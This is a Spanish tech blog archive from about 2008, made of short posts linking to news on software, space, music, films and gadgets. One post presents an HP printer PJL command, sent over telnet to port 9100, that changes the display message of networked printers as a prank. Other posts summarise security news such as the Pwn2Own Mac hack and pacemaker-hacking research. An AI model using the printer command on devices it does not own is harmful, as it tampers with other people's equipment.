                Mapa del Mundo según sus dominios de Internet

                

                Visto en:

                http://www.boingboing.net/2008/04/25/www-domain-country-c.html

                Pues ya lo ves, .in y .cn los que más tienen (India y China).

                Windows XP, Windows Vista y Windows 7... o mejor …

                

                Como ya sabreis la mayoria, a Windows Xp le quedan pocos dias (de soporte). Microsoft lo jubila, para algunos antes de tiempo y para otros demasiado tarde, es cuestion de gustos. Lo que quizas no sea tanta cuestion de gustos es el que Windows Vista esté teniendo la peor acogida, algunos dicen que casi peor que el Windows Me, que ya es decir. Y no contentos con la mala acogida, deciden lanzar la version nueva WINDOWS 7 para el proximo año, tal y como ha anunciado Bill Gates (link).

                Top lenguajes de programación

                

                He visto en:

                http://barrapunto.com/articles/08/04/25/177233.shtml

                Un ranking sobre los lenguajes de programación más populares en la actualidad, este es el ranking:

                http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html

                1 Java 20.529% +2.17% A 2 C 14.684% -0.25% A 3 (Visual) Basic 11.699% +3.42% A 4 PHP 10.328% +1.69% A 5 C++ 9.945% -0.77% A 6 Perl 5.934% -0.10% A 7 Python 4.534% +0.72% A 8 C# 3.834% +0.28% A 9 Ruby 2.855% +0.06% A 10 Delphi 2.665% +0.33% A 11 JavaScript 2.434% -0.70% A 12 D 1.169% -0.35% A 13 PL/SQL 0.608% -1.28% B 14 SAS 0.572% -1.63% A– 15 Pascal 0.513% -0.06% B 16 Lisp/Scheme 0.476% -0.20% B 17 FoxPro/xBase 0.459% -0.09% B 18 COBOL 0.409% -0.24% A– 19 Ada 0.393% -0.29% B 20 ColdFusion 0.384% +0.11% B

                El Arca de Noé del siglo XXI

                

                En el diario “el mundo” en su edición de Internet:

                http://www.elmundo.es/especiales/2008/04/ciencia/arca_noe/index.html

                Se ha currado un trabajo sobre esta construcción en Noruega de un búnker de 125 metros de profundidad donde se están almacenando (o se intentará) todas las semillas de la Tierra. Ya contiene 268.000 semillas procedentes de 100 países y el objetivo es llegar a 2.000 millones de semillas. No es el primero, ya existen más de 1.000 bancos de semillas por toda la Tierra, pero este tiene la característica de ser uno de los mayores y también la ubicación, a 18 grados bajo cero, en una zona desmilitarizada y sin población.

                "Sci fi.es" el canal de ciencia ficción (y su …

                

                Este estupendo canal emite todo tipo de películas y series de ciencia ficción y tiene una revista (que aparte de ofrecer la programación tiene mucha más información) que te permiten descargarla gratuitamente desde su site:

                http://www.scifi.es/magazine/

                En ella puedes encontrar lo último en series, noticias, películas, etc …

                Lo mejor para estar al día.

                http://www.scifi.es/index.php

                "OGame" juego de estrategia espacial on line …

                

                Estos días quiero probar este juego que me han comentado está bastante bien.

                Es un juego de conquista intergaláctica donde tienes que crear industrias, científicos, colonizar planetas, etc … todo en un mundo virtual compitiendo con otros jugadores alrededor del mundo en tiempo real. Y todo sin gráficos 3D espectaculares, sólo usando tu navegador de Internet.

                Tiene un foro muy completo con todo tipo de información:

                http://board.ogame.com.es/

                Mogwai, uno de nuestros grupos favoritos

                

                Increible que aún no hubiera hablado sobre Mogwai.

                Los reyes del Post-Rock:

                http://es.wikipedia.org/wiki/Mogwai

                http://www.mogwai.co.uk/

                Sería imposible hacer un post completo hablando de esta magnífica banda escocesa, mejor echa un vistazo por YouTube o por la web y verás …

                Algunas canciones/videos:

                Stanley Kubrick

                 Kids will be skeletons

                2 Rights Make 1 Wrong

                Almacenamiento holográfico, a punto de salir al …

                

                ¿te acuerdas de esto?

                 Es la escena de “2001: Una Odisea en el Espacio” donde Dave, desconecta a HAL. Lo hace apagando su memoria holográfica. Pues esta nueva tecnología es exactamente eso, escribir ráfagas de luz de una sola vez pudiendo almacenar hasta millones de bits simultáneamente, de momento entre 300 Gb y 1.6 Tb. Los dispositivos son parecidos a los discos de 5 1/4, pero lo curioso es ver el material transparente que forma el disco, igual que los cartuchos de memoria de HAL:

                Nueva versión de Ubuntu, 8.04 Hardy Seron

                

                Oficialmente lanzada, puedes descargarla (o pedirla en soporte CD gratuitamente) en:

                http://www.ubuntu-es.org/index.php?q=node/85995

                Para saber que nuevas características tienen:

                http://arstechnica.com/news.ars/post/20080224-wubi-arrives-a-look-at-ubuntu-8-04-alpha-5.html

                Entre otras, nuevo servidor de audio, mejoras en la virtualización, nuevo clienten VNC, mejora en el sistema virtual de ficheros, etc …

                Bueno vamos a probarlo …

                 

                Los 10 interrogantes sobre Mercurio

                

                En SondasEspaciales:

                http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11041&Itemid=42

                Puedes encontrar respuestas a las 10 preuntas:

                1. Núcleo metálico denso

                2. Por qué tiene una atmósfera?

                3. Se esconde hielo en la superficie?

                4. La estela de hidrógeno

                5. La violenta historia de Mercurio

                6. Que es lo que yace en la parte oscura?

                7. Mercurio ha tenido volcanes?

                8. Se esta encogiendo Mercurio?

                9. La magnetosfera de Mercurio

                10. La ‘araña’

                El punto 10 requiere información adicional. La araña es una incomprensible estructura que se cree de orígen volcánico sub-superficial:

                

                http://www.space.com/scienceastronomy/080130-messenger-flyby-science.html

                Lo nuevo de Björk, en Wired

                

                Visto en:

                http://alt1040.com/2008/04/wired-estrena-lo-nuevo-de-bjork/

                Según nuestros amigos de Alt1040, el video tiene una versión 3D que puede verse con unas gafas especiales:

                Versión 2D:

                Versión 3D:

                http://www.wired.com/entertainment/music/news/2008/04/bjork_wanderlust_3d_video

                Y para las gafas:

                  http://howto.wired.com/wiki/Make_3-D_Glasses

                La fabulosa ezine "SET"

                En nuestra época más o menos por los noventa ;) esta revista era realmente la que devorábamos siempre que salía un nuevo número:

                http://www.set-ezine.org/noticias/index.php

                El último número es de Septiembre del 2007, pero os aconsejo que le echéis un vistazo, son muy interesantes.

                … que tiempos …

                 

                http://www.set-ezine.org/noticias/index.php

                 

                Encontradas nuevas historias de Julio Verne …

                

                Escuchando La Rosa de los Vientos, mis queridos miembros de la tertulia de las 4C hablaron sobre unas novelas (creo que son más bien historias cortas) encontradas hace poco escritas por Julio Verne entre 1870 y 1875 que están a punto de ser publicadas.

                Y me quedé helado … es impresionante, si ya de por sí Julio Verne se ha ganado el calificativo de visionario con sus estupendas “De la Tierra a la Luna” o “20.000 leguas de Viaje Submarino”, sólo faltaba encontrar estas nuevas historias (son cuatro) con unos nombre muy, pero que muy sugerentes:

                "SILICON" NO ES "SILICONA" a ver si nos vamos …

                

                Increible, todavía hoy veo películas, artículos, noticias, etc … confundiendo el término “Silicon” con “Silicona” cuando no tienen nada que ver.

                La traducción de “Silicon” es “Silicio”, material numero atomico 14 y situado en el grupo 4 de la tabla periódica de los elementos formando parte de la familia de los carbonoideos (según Wikipedia). Y principal componente para la fabricación de chips.

                Y “Silicona” es un polímero inodoro e incoloro hecho principalmente de silicio.

                La desinformación en los medios de comunicación …

                

                Como por ejemplo lo ocurrido con la nave espacial Soyuz TMA-11,  que ayer sábado estuvo a punto de terminar en un desastre. Los medios de comunicación (que no diré nombres, pero fueron varios …) simplemente dijeron: “La sonda Soyuz TMA-11 aterriza a 400km de su destino original” y se acabó. Que una nave espacial de retorno a la Tierra aterrize a 400km de su punto original creo que merece más información, y lo real es que fue una auténtica lucha por la supervivencia de los tripulantes y el centro de mando ruso.

                Recopilación de imágenes "Slow Motion" ó "Cámara …

                He visto en:

                http://www.neatorama.com/2008/04/18/slow-motion-compilations/

                Estos dos vídeos con recopilación de “Slow Motion”:

                 

                Fantásticos.

                También hay una Wii portable ...

                Es un mod pero esta genial también (igual que el de la PS3):

                

                http://www.gamewithabrain.com/2008/04/17/systems/wii/wii-gets-even-more-compact-with-personal-seven-inch-screen

                "No hay Internet" en SouthPark

                Visto en la página amiga Alt1040:

                 

                Cómo convertir tu iPod Touch en un iPhone (o casi)

                

                El iPhone y el iPod touch son casi iguales, excepto la diferencia de poder usar una tarjeta SIM de un operador para poder hacer llamadas de telefonía móvil. Es imposible instalar una SIM en el iPod touch pero puedes hacer llamadas VoIP (incluso iPhone) usando una aplicación llamada SIP-VoIP. Por supuesto necesitas tener conectado a Internet tu iPod touch, pero imagina las ventajas de hacer llamadas VoIP desde el iPod a cualquier número de teléfono móvil.

                Según el artículo, esto funciona en cualquier país, de todas formas no lo he probado si alguien lo hace que nos lo cuente por favor ;)

                Camiseta chula, "Robot Celebrity"

                

                Puedes ver más en:

                http://www.chopshopstore.com/quickorder/index.html

                 

                El 60% de las reproducciones de arte del mundo …

                

                 

                Pues sí, increible según Boing Boing una única localidad China es la responsable del 60% de las pinturas del mundo, siendo la mayoría reproducciones de las más famosas de la historia.

                El pueblo es Dafen, cerca de Shenzhen. No sólo hacen réplicas de obras de arte, también trabajan a la carta con cualquier tipo de reproducción, incluso a veces se atreven a hacer sus propios cuadros.

                Google comparte "algunos" de sus secretos sobre su …

                

                Visto en:

                http://barrapunto.com/articles/08/04/18/113252.shtml

                http://historiasdequeso.blogspot.com/2008/04/google-comparte-sus-secretos-de.html

                http://www.itnews.com.au/News/73635,google-shares-its-security-secrets.aspx

                http://www.rsaconference.com/2008/US/home.aspx

                (Ojo al dibujo de fondo en la cabecera, espectacular “Turing Lives”)

                 

                Aquí puedes ver un video sobre la celebración y el recinto de la RSA 2008:

                 

                http://es.wikipedia.org/wiki/RSA_Security

                Biznaga de Plata a la mejor dirección Dany Saadia, …

                

                ¡Enhorabuena Dany! (y a Volya producciones)

                http://www.elpais.com/articulo/cultura/Malaga/anuncia/primeros/premios/elpepucul/20080411elpepucul_6/Tes

                http://www.zinema.com/dossier/malaga/08malaga.htm

                http://www.cinemascope.es/12/04/2008/se-entrega-esta-noche-los-premios-del-festival-de-cine-de-malaga-de-la-seccion-zonazine/

                 

                Stunnix C and C++ Obfuscator 3.1 para ocultar el …

                

                No sabía que estos programas existían, ya que nuestra filosofía es justo lo contrario ;)

                Básicamente este software sirve para ofuscar y hacer lo más complicado posible todo el código fuente de tu programa hecho en C ó C++. Hombre siempre nos han enseñado a hacer nuestro código lo más claro posible, además ¿porqué quieres dejar tu código tan críptico? según la publicidad es para evitar que los competidores puedan estudiarlo… bueno al menos es interesante … puedes bajarte una copia de evaluación en:

                TCPView, herramienta similar a netstat pero con …

                

                Herramienta de Sysinternals (o sea, de Microsoft) gratuita para monitorizar todos los puertos TCP y UDP. Muy parecida a “netstat” pero te ahorras tener que poner los típicos parámetros (-a , -b , etc …) ya que muestra casi toda la información en la ventana.

                http://technet.microsoft.com/en-us/sysinternals/bb897437.aspx

                Visto en:

                http://4sysops.com/archives/tcpview-displays-active-tcp-and-udp-connections/

                Como se indica en el artículo de 4sysops, muy útil para solucionar problemas de virus o spyware, ya que podremos saber qué programa está usando determinados puertos. 

                Ventas de "víctimas" de troyanos por un USD

                

                Hasta donde vamos a llegar …

                Visto en:

                http://elladodelmal.blogspot.com/2008/04/salvajes.html

                http://bp3.blogger.com/_Y2uWeGSk9Sw/SAH7CrFWJOI/AAAAAAAAB-8/6p46tbDjGCU/s1600-h/malware.png

                Perfecto título de nuestro amigo Chema ;), no tiene desperdicio el post.

                 

                Mapas de los canales marcianos (Microsiervos)

                

                Entre 1895 y 1910, Percival Lowell convenció a todo el mundo que en Marte había vida, y unas superestructuras, llamadas “canales” hechas por los marcianos para transportar el agua de los polos por todo el planeta. ¿Qué debían de sentir las personas de esa época estando tan seguros de que tenían vecinos tan avanzados tecnológicamente tan cerca, en Marte? …

                Super Genintari ... 4 en uno

                

                Vaya proyecto, vas a flipar.

                Atari 2600 / NES / Genesis / Super NES … todo en uno.

                Proyecto de bricolaje que incluye estas 4 consolas en una XD

                http://www.engadget.com/2008/04/14/super-genintari-project-is-finished-and-ready-to-make-you-enviou/

                Second Life en un Apple ][+ ...

                http://www.boingboing.net/2008/04/14/second-life-on-an-ap.html

                El portátil PS3

                http://www.engadget.com/2008/04/10/the-ps3-laptop-from-ben-heck-to-engadget-with-love/

                

                 

                Las impresionantes fotos de la luna de Marte, …

                

                La sonda Mars Reconnaissance Orbiter de la NASA ha conseguido dos fotos realmente espectaculares de la sonda Fobos a gran resolución. La primera foto fue tomada a 6.800 Km y la otra a 5.800 Km.

                En este enlace de las fantástica web “Sondas Espaciales” podrás encontrar las fotos y también un artículo sobre las mismas:

                http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11038&Itemid=42

                Algunso datos sobre Fobos:

                Este satélite está sólo a 6.000 Km de distancia de Marte.

                tecnologia y sostenibilidad

                La electronica en general avanza rapidisimo, todo baja de precio y aparecen articulos mas rapidos y potentes…

                En mi opinion, se hace lo que sea por mantener vivo el consumismo de masas, que sin darnos cuenta, se mantiene a costa de causar un considerable impacto ambiental, cada vez mas a corto plazo.

                Carcasas de plastico, baterias de baja calidad y vida muy corta, cada vez renovamos mas a menudo nuestro arsenal de gadgets.

                Enjuto Mojamuto, me siento gif

                Vuelve Enjuto:

                Wikilibros, la colección de libros de contenido …

                

                Me encontré con esta página buscando en la Wikipedia.

                http://es.wikibooks.org/wiki/Portada

                Impresionante colección de todo tipos de libros de contenido libre, desde informática, a física, matemáticas, excursiones, idiomas, etc …

                Windows Vista sólo reconoce 3Gb de tus 4Gb ... y …

                

                Primero el tema de los 4Gb:

                Te compras un PC con 4 o más Gb de RAM, con Windows Vista, llegas a casa y toma castaña, sólo reconoce 3Gb.

                Vamos a intentar explicar el motivo:

                Un sistema operativo de 32 bits como Vista, debería de soportar 2³² bytes = 4GB de memoria. En cambio sólo puedes ver 3.12 Gb de esos 4. No es un problema de hardware aunque lo parezca.

                El Puente de Rama

                

                Hace tiempo que conocía esta historia pero oyendo el fantástico podcast de “La Rosa de Los Vientos” y en concreto esta parte de “La Zona Cero” he vuelto a recordarlo:

                http://regocijos.hollosite.com/?p=628

                Os recomiendo que escuchéis este gran monográfico sobre esta estructura, y aquí viene la polémica, artificial o natural, que une la India con la Isla de Sri Lanka (donde casualmente, vivía nuestro gran Arthur C. Clark).

                Video de 5 minutos con los 35 años de videojuegos

                Visto en:

                http://cgredan.blogspot.com/2008/04/35-aos-de-videjuegos-en-5-minutos-de.html

                 

                Empieza con el Pong y acaba con el Bioshock para Xbox.

                Retrocomputer (especial)

                

                Nuestros amigos del Geeek Errante (por cierto, fantástico EGE#35, como siempre) han hecho una visita al:

                http://www.retromadrid.es/

                Una reunión de usuarios de ordenadores clásicos de los ochenta, spectrum, atari, msx, etc … y han hecho algunas entrevistas muy interesantes, este es el enlace al podcast:

                http://elgeekerrante.com/ege-podcast-ep35/

                No tenía ni idea de la gran comunidad de usuarios que aún hoy dia, desarrolla tanto hardware como software. Bueno tenemos entre nosotros al genial dberdugo, genio del msx ;) un día hablaremos sobre sus fantásticos proyectos …

                Usando "Tweak Now" para modificar el registro

                

                Puedes bajar este programa gratuito para uso no comercial en:

                http://www.tweaknow.com/WinSecret.html

                Buena aplicación que facilita la modificación de las entradas más comunes en el registro de Windows, usando una interface más segura (ya que tiene un botón de “Undo”)  y más fácil de manejar que el famoso “regedit”.

                PD También tienen otro producto, el famoso “Registry Cleaner” gratuito, para limpiar el registro:

                http://www.tweaknow.com/RegCleaner.html

                "Queen Kong" vs "Plan 9 From Outer Space", lucha …

                

                Cuado ví el trailer de “Queen Kong” pensé que era coña pero no, antes de contarte la historia echa un vistazo al trailer:

                 

                Esta película existe y fue rodada en 1976, pero estuvo sin verse durante 25 años, hasta que por fin se editó en Japón en DVD ¿? al parecer no se pudo editar en Europa por problemas legales con el original King Kong.

                http://www.queenkonglives.com/

                Cómo cambiar los mensajes del display de las …

                

                 

                 

                 

                 No tiene mucha utilidad pero es divertido, y de paso aprendemos HPPJL y algo de Perl:

                 

                http://kovaya.com/perl/show.cgi?program=hpsetdisp.pl

                Este es la url original:

                http://kovaya.com/miscellany/2007/10/insert-coin.html

                Visto en:

                http://lifehacker.com/software/office-pranks/change-the-default-message-on-hp-printers-312717.php

                Este es el código HPPJL, que escribimos después de conectar por Telnet al puerto 9100 de la impresora:

                \e%-12345X@PJL JOB @PJL RDYMSG DISPLAY=“MESSAGE HERE” @PJL EOJ \e%-12345X

                Y aquí un tutorial de Perl:

                "3:19" en el Festival de Málaga hoy a las 17:00

                Podrás verla en los cines Albeniz hoy a las 17:00 de la tarde …

                http://www.festivaldemalaga.com/2008/pelicula.php?sec=9&id=175

                Trailer:

                http://es.youtube.com/watch?v=ImSCB7sTQ14

                De paso un abrazo y un saludo a Molotok y a Dany Saadia, suerte chicos.

                
                Ver mapa más grande Technorati Profile

                Trailer del documental "Hobby"

                Podrás verlo completo en el festival de Málaga

                Muy buena pinta si señor.

                Visto en:

                http://www.kirainet.com/trailer-de-hobby/

                

                 

                 

                La broma más currada para el día 1 de Abril …

                El trailer de la película basada en el juego: THE LENGEND OF ZELDA

                Vaya currelo para ser una broma, está genial el trailer, ojo a las escenas en 3d de las luchas con diferentes criaturas del juego, incluso Ganondorf.

                Esperemos que Nintendo se pique y pille la indirecta ;)

                Sobre el Fool’s day.

                "PortWiki" todo sobre los puertos y los firewalls

                

                Fantástica Wiki con toda la información relacionada con cómo abrir puertos para administradores, jugadores, programas, tutoriales sobre firewalls, y una base de datos completa sobre todos los 65534 puertos.

                http://www.portwiki.net/

                Excelente recurso, lo apuntamos.

                Otros enlaces:

                http://www.iana.org/assignments/port-numbers

                http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-es-4/ch-ports.html  

                La Web de los mapas extraños ...

                

                Buscando información sobre algunos mapas, he visto esta web que me ha sorprendido:

                http://strangemaps.wordpress.com/

                Contiene mapas de todo, desde un lago sin nombre en la luna Titán, hasta otro que es un mapa del mundo hecho con una partitura … y mi favorito, uno de la isla de “Perdidos” (Lost)

                Merece la pena que le echéis un vistazo, es muy original y divertido.

                Cómo grabar la música de los videos de YouTube a …

                

                Paso 1:

                Instala FireFox

                Paso 2:

                Baja también el add-on DonwloadHelper

                Paso 3:

                Busca el video en YouTube

                Paso 4:

                Abre el video y descargalo usando el método del DownloadHelper.

                Paso 5:

                Descarga el Freez Flv to MP3 , que es el programa que extrae el audio a MP3 del FLV.

                Y ya lo tienes, tu fichero de audio MP3 desde un fichero FLV descargado de YouTube …

                Artículo original visto en: LifeHacker

                Grupazo, "Fanfarlo"

                Un correo de mi amigo Luis (gracias por los enlaces) con el mismo encabezamiento que esta entrada del blog ;), demostrando que es una de las personas que conozco que más sabe de música (con una coleccion IMPRESIONANTE), nos recomienda “Fanfarlo“, si te gusta Arcade Fire, Broken Social Scene, Belle & Sebastian, … este grupo te encantará:

                Charming Power! ;)

                El Atlas del Espectro Electromagnético

                

                Vamos a estrenar nuestro nuevo Blog con este enlace visto originalmente en:

                http://www.areino.com/spectrum-atlas/

                Enlace original:

                http://www.spectrumatlas.org/spectrum/

                Tal y como su nombre indica, es un “atlas” de todo el espectro electromagnético, interactivo. Te puedes desplazar buscando la banda que quieras consultar. Todo en 3D. Si pasas el cursor del ratón sobre la banda, te indicará también a qué pertenece.

                 Bastante curioso y educativo …

                Process Explorer, no podrás vivir sin él nunca más

                Ayer tomando unas copillas con mi amigo NOP ;) me comentó que había utilizado este programa gratuito de Microsoft y le sorprendió.Si eres usuario de Windows:

                Windows 9x/Me, Windows NT 4.0, Windows 2000, Windows XP, Server 2003, y 64-bit versiones Windows para x64 y IA64 processors, y Windows Vista.

                Tienes que descargarte el “Process Explorer”:

                http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx

                Con esta aplicación podrás por fin saber que fichero o qué directorio está abriendo un programa / proceso. También podrás saber las DLL que un proceso esté usando … tremendamente útil sobre todo cuando no sabes porqué un proceso está ocupando el 100% de tu CPU …

                Ver Star Wars en modo texto desde Telnet WTF?

                

                Sí, has leido bien, vamos superando el nivel geek/friki en cada post que encontramos ...

                Si abres una ventana de comandos y tecleas (desde cualquier sistema operativo)

                telnet towel.blinkenlights.nl

                

                Podrás ver esta obra de arte, casi 14.000 fotogramas CON LA PELÍCULA COMPLETA (resumida) de la Guerra de las Galaxias en ¡¡¡ASCII ART!!!!

                Para los que dicen que Apple (OS X) es más seguro …

                

                Visto en:

                http://eventos.barrapunto.com/eventos/08/03/28/1134238.shtml

                http://www.channelregister.co.uk/2008/03/28/mac_hack/

                http://www.engadget.com/tag/CanSecWest/

                En el evento llamado PWN 2 OWN de la conferencia CanSecWest, un hacker debía "hackear" un sistema operativo, OS X (Apple), Linux o Windows Vista. Se decidió por OS X y lo consiguió en 2 minutos, exactamente era un Mac Air de los nuevos. Los otros dos seguían imbatidos en el momento de escribir el artículo de la conferencia.

                Resumiendo mucho, la técnica se basa en hacer que el usuario pulsando un enlace web pudiera habilitar una sesión telnet, abrir un puerto concreto y desde allí acceder al ordenador.

                Astrónomos detectan la primera molécula orgánica …

                

                Visto originalmente en:

                http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11010&Itemid=42

                Impresionante artículo que recomiendo.

                Noticia original de la NASA:

                http://www.jpl.nasa.gov/news/news.cfm?release=2008-046

                Por fin hemos detectado la primera molécula orgánica, en este caso la del metano, en un planeta fuera del sistema solar usando la espectroscopia. El planeta está a 63 años luz de la Tierra en la constelación de Vulpécula.

                Cuando esta técnica se perfeccione, podremos saber si exoplanetas tienen las cualidades para poder albergar vida incluso estando a cientos y miles de años luz de nosotros.

                No podíamos olvidarnos de recordar al maestro Sir …

                

                Cómo la noticia nos pilló de vacaciones, no pudimos poner la entrada.

                No podemos dejar de hacer nuestro pequeño homenaje a este genio que falleció el día 19 de Marzo de 2008 ... descansa en paz maestro. El sólo pedía una cosa a sus años, que antes de morir se confirmara la existencia de vida extraterrestre (igual que el gran Carl Sagan), no pudo ser pero seguro que pronto se confirmará.

                UltraMobile PC &quot;eeePC&quot; de ASUS (review)

                Parece que se estan poniendo de moda los miniportatiles.

                El que, desde mi punto de vista ha dado un toque de atencion al resto de grandes compañias es ASUS, con su modelo eeePC.

                Es realmente ultraportatil, y las caracteristicas mas llamativas que me hicieron comprarmelo sin pestañear es la nueva tecnologia que incluye, almacenamiento SSD (flash) y retroiluminacion led, lo cual reduce drasticamente el consumo de energia.

                Google Code University, aprendiendo a programar …

                

                Ya hemos hablado antes en este blog sobre Google Code, pues ahora han puesto al alcance de todos varios cursos y recursos de programación para Ajax, XML, Seguridad Web, etc ... gran cantidad de material tanto en texto, como en audio y video, os recomiendo que vayáis ya que es muy completo:

                http://code.google.com/edu/

                Incluye un buscador donde puedes hacer búsquedas sobre el tema pero dentro de las publicaciones universitarias ...

                Evitar el SPAM y otros riesgos con la copia oculta

                Un consejo para entre todos, poder evitar con mayor eficacia esa lacra llamada SPAM (y otras amenazas).Como es imposible convencer a todos/as de que no envíen más correos con HOAX del tipo:

                “Si envías este correo a 500 usuarios más se cumplirá tu mayor deseo …"

                ó

                “PELIGRO, un nuevo virus destruye tu disco duro para siempre, avisa a tus amigos”

                Vacaciones y nuevo blog ...

                Pues eso, de nuevo disculpas pero hemos estado de vacaciones y además preparando el nuevo blog que pronto pondremos …

                www.cyberhades.com

                Un premio a los publicistas

                Ya hace bastante tiempo que me enseñaron este vídeo de Youtube, la verdad es que me asombro bastante... aunque no tanto como para que formara parte de una campaña publicitaria, máxime cuando esta campaña tiene menos merito que el vídeo original. En fin, esta claro que (por si alguien no se había dado cuenta) Internet es una constante fuente de "INSPIRACIÓN" para los publicistas, y claro está que no seré yo el que juzgue si eso es bueno o malo. En cualquier caso, lo que si que me parece mal es que la "PROPIEDAD INTELECTUAL" no sea bidireccional, es decir, los usuarios no debemos/podemos plagiar o asimilarnos a las creaciones de otros, pero estos si que pueden/deben hacerlo con las obras de los pequeños usuarios o creativos... como siempre... La ley del mas fuerte. Podéis compararlo en estos vídeos: Anuncio Duo Telefonica Video "original"

                www.cyberhades.com

                El timo del Nigeriano

                

                Aprovechando que me ha llegado el famoso email del "Nigeriano", os paso este post de Chema Alonso que por lo menos te va a hacer reir. Para ser más exacto es Daniel González quien sigue el juego a este timo del "Nigeriano" y las respuestas y el mareo que le dá a los timadores es fantástico y se lo merecen.

                Sentir los disparos de tu juego favorito

                Visto en Barrapunto:

                http://elblogdeljugon.com/sentir-los-disparos-es-posible/

                No parece nada del otro mundo pero es un avance … resumiendo, puedes sentir hasta 8 disparos en diferentes puntos aleatorios de tu chaleco, de momento sirve con Doom3, Call Of Duty 2, etc …

                www.cyberhades.com

                Ya queda poco, 3:19 intro ...

                He visto en Alt1040 los primeros minutos de 3:19 ... IMPRESIONANTE (felicidades a Producciones Volya, gusto impecable en la música y el espectacular video):http://alt1040.com/2008/03/el-video-de-las-2-creditos-de-entrada-de-319/

                En el Festival de Málaga del 4 al 12 de Abril podrás verla.

                Enlace al video:

                http://www.vimeo.com/781069/¡Ánimo Danny! ;) un abrazo y suerte.

                www.cyberhades.com

                Buscador &quot;visual&quot; (Molotok, nos han …

                Hace unos meses estábamos hablando NOP, Molotok y yo tomando unas cañas en nuestro Bar (Bordería) , sobre la nueva generación de buscadores y de Internet.
                Y se nos ocurrió exactamente esta idea:

                Visto en:

                http://www.pixelydixel.com/2008/03/searchme-un-buscador-visual.html

                Estamos totalmente convencidos que la nueva Web 2.0 o superior irá por este camino, el 3D y nuevos dispositivos de control del ordenador (ratones 3d, etc …) tiempo al tiempo … ;)

                El Museo de Criptografía Nacional (de EEUU)

                

                National Cryptologic Museum
                Localizado en Maryland USA, abierto de 9:00 am a 16:00 pm y los sábados de 10:00 a 14:00.
                Tiene una colección IMPRESIONANTE de todos los dispositivos que los EEUU han utilizado en diversas guerras y contiendas. Aparte de todos estos artefactos, libros, etc ... también tienen dos aviones espías míticos, el RU-8D usado en Vietnam y el famoso C-130 abatido sobre la Unión Soviética durante la guerra fría.
                Algunos de los objetos que contiene esta fabulosa colección:
                - Una máquina de cifrado del siglo XVIII
                - Códigos usados en la Guerra Civil (por ambos bandos)
                - Colección de libros raros sobre criptografía
                - Y como no, nuestra maravillosa ENIGMA
                ...
                y muchos más.
                echa un vistazo a:
                http://www.nsa.gov/museum/#exhibits
                y también a:
                http://it.slashdot.org/article.pl?no_d2=1&sid=08/03/12/2214218
                www.cyberhades.com

                Rufus Wainwright &quot;Oh What a World &quot;

                Rufus Wainwright

                Tienes que verlo hasta el final, es impresionante, fabuloso …

                www.cyberhades.com

                Hackeando corazones

                

                Visto en:
                http://barrapunto.com/articles/08/03/12/1828212.shtml
                y más ampliamente en:
                http://teleobjetivo.org/blog/hackeando-corazones.html
                Este es el PDF con las conclusiones (en inglés):
                http://www.secure-medicine.org/icd-study/icd-study.pdf
                Resulta que los médicos cuando implantan un marcapasos, aparte de ser avanzados cronómetros que generan púlsos eléctricos, también tienen un sistema de comunicaciones por radio para que los médicos puedan acceder a todas las funciones del marcapasos sin necesidad de cirugía.
                En este enlace tienes más información, entre ellas indican que existen otros aparatos médicos con algún tipo de control por radio:
                http://arstechnica.com/news.ars/post/20080312-hacking-implanted-defibrillators-shockingly-easy.html
                Y para ser más exactos, utilizan GNU Radio para las comunicaciones y luego MatLab para el análisis posterior.
                Creo que han cometido un error en publicar esto, ya que creo que nadie estaba interesado en hackearlo y sobretodo, creo que nadie sabía esto ... pero ahora ... ;)
                www.cyberhades.com

                www.sigurros.com

                

                Si no tienes el documental de Sigur Rós "Heima" no sé a qué estás esperando.
                Es IMPRESIONANTE.
                Pues para todos aquellos que lo tengáis (sobre todo mi amigo Luis y JuanP) aquí tenéis un enlace nuevo donde hay material gratuito descargable sobre partes y pistas que no se incluyeron en el documental original así como algunos otros directos:
                http://www.sigurros.com/
                Y sobre todo, información sobre el nuevo disco ...
                www.cyberhades.com

                Interface similiar a la de &quot;Minority …

                CEBIT

                Visto en:

                http://www.engadget.com/2008/03/11/minority-report-like-interface-gets-demoed-at-cebit/

                Espectacular …

                www.cyberhades.com

                Pen drive USB de 32 gb disponble por …

                

                Lo he visto en ebay y una amigo mio del trabajo me ha enseñado uno que compró en ebay por ese mismo precio, aproximadamente de 120 € ... wow
                http://cgi.ebay.es/INTEGRAL-32GB-PASSWORD-PROTECTED-USB-PENDRIVE-PEN-DRIVE_W0QQitemZ350032904124QQihZ022QQcategoryZ108982QQrdZ1QQssPageNameZWD2VQQcmdZViewItem?_trksid=p1638.m122
                Este es sólo un ejemplo de los que venden, prueba a buscar en ebay ...
                Tendremos que ir comprando uno ya ...
                www.cyberhades.com

                ¿Crearemos agujeros de gusano en el CERN?

                

                Cuando en mayo se active el acelerador de partículas más grande del mundo en el CERN, los científicos podrán descubrir los mayores secretos de la materia ... y se especula con crear pequeños agujeros de gusano, que según algunas teorías, permitirían viajar en el tiempo.
                Visto en:
                http://www.tendencias21.net/2008-podria-ser-el-ano-cero-de-los-viajes-en-el-tiempo_a2117.html?PHPSESSID=5da57d279d20968ef418ceee76948447
                Web oficial del proyecto:
                http://lhc.web.cern.ch/lhc/
                ¿Viajar en el tiempo?
                ¿Agujeros de gusano?
                ¿Puerta dimensional? ... huy que me emociono, con mucho menos argumentos se han hecho películas y videojuegos, yo digo que la película cae ya antes de fin de año ;)
                www.cyberhades.com

                Polémico video de publicidad de Microsoft XBox

                Tampoco es para tanto pero parece que ha sido prohibido en algunos países … rápido que aún está en YouTube, no creo que dure mucho …

                www.cyberhades.com

                Concurso de los cubículos más chulos (parte 1 y 2)

                

                He visto un concurso en LifeHacker:

                Parte1

                http://lifehacker.com/361575/coolest-cubicle-contest-part-the-first

                Parte 2

                http://lifehacker.com/364380/coolest-cubicle-contest-part-two

                donde el ganador se llevará 500$ para gastar en Amazon (otia que de libros) al cubículo (creo que se refiere a las pequeñas superficies que hay en las grandes empresas separadas por mamparas o pequeñas paredes), rincón, mesa de ordenador más original, geek y guapa ;)

                Bueno os recomiendo un vistazo las imágenes enviadas, y si te animas envía la tuya ;) y atentos a próximas entregas que la cosa promete ...

                www.cyberhades.com

                Océanos de Sal (visto en el Blog …

                

                Vaya, me he quedado alucinado al ver el fantástico blog "Fogonazos" y en concreto esta entrada:

